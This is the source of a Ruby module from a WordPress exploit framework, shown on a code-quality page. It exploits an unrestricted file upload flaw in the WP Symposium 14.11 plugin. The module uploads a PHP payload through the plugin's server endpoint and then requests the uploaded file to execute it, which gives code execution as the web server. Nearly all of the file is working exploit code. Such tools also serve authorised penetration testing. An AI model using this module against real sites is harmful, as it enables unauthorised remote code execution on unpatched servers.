rastating/wordpress-exploit-framework

View on GitHub
lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb

Summary

Maintainability
A
35 mins
Test Coverage
# frozen_string_literal: true

class Wpxf::Exploit::SymposiumShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpClient

  def initialize
    super

    update_info(
      name: 'WP Symposium 14.11 Unrestricted File Upload',
      desc: 'WP Symposium Plugin for WordPress contains a flaw that allows a '\
            'remote attacker to execute arbitrary PHP code. This flaw exists '\
            'because the /wp-symposium/server/file_upload_form.php script '\
            'does not properly verify or sanitize user-uploaded files. By '\
            'uploading a .php file, the remote system will place the file in '\
            'a user-accessible path. Making a direct request to the uploaded '\
            'file will allow the attacker to execute the script with the '\
            'privileges of the web server.',
      author: [
        'Claudio Viviani', # Vulnerability disclosure
        'rastating'        # WPXF module
      ],
      references: [
        ['WPVDB', '7716']
      ],
      date: 'Dec 11 2014'
    )
  end

  def check
    check_plugin_version_from_readme('wp-symposium', '14.12')
  end

  def symposium_url
    normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
  end

  def successful_upload(res)
    res && res.code == 200 && res.body.length > 0 &&
    !res.body.include?('error') && !res.body.eql?('0')
  end

  def payload_body_builder(payload_name, directory_name)
    builder = Utility::BodyBuilder.new
    builder.add_field('uploader_uid', '1')
    builder.add_field('uploader_dir', "./#{directory_name}/")
    builder.add_field('uploader_url', symposium_url.sub(base_uri, ''))
    builder.add_file_from_string('files[]', payload.encoded, payload_name)
    builder
  end

  def run
    return false unless super

    emit_info 'Preparing payload...'
    payload_id = Utility::Text.rand_alpha(10)
    payload_file = "#{payload_id}.php"
    payload_url = normalize_uri(symposium_url, payload_id, payload_file)
    builder = payload_body_builder(payload_file, payload_id)

    emit_info 'Uploading the payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(url: normalize_uri(symposium_url, 'index.php'), body: body)
    end

    if successful_upload(res)
      emit_success "Uploaded the payload to #{payload_url}", true
      emit_info 'Executing the payload...'
      res = execute_get_request(url: payload_url)

      if res && res.code == 200 && !res.body.strip.empty?
        emit_success "Result: #{res.body}"
      end

      return true
    else
      emit_error "HTTP status: #{res.code}", true
      emit_error "Server returned: #{res.body}", true
      emit_error 'Failed to upload the payload'
      return false
    end
  end
end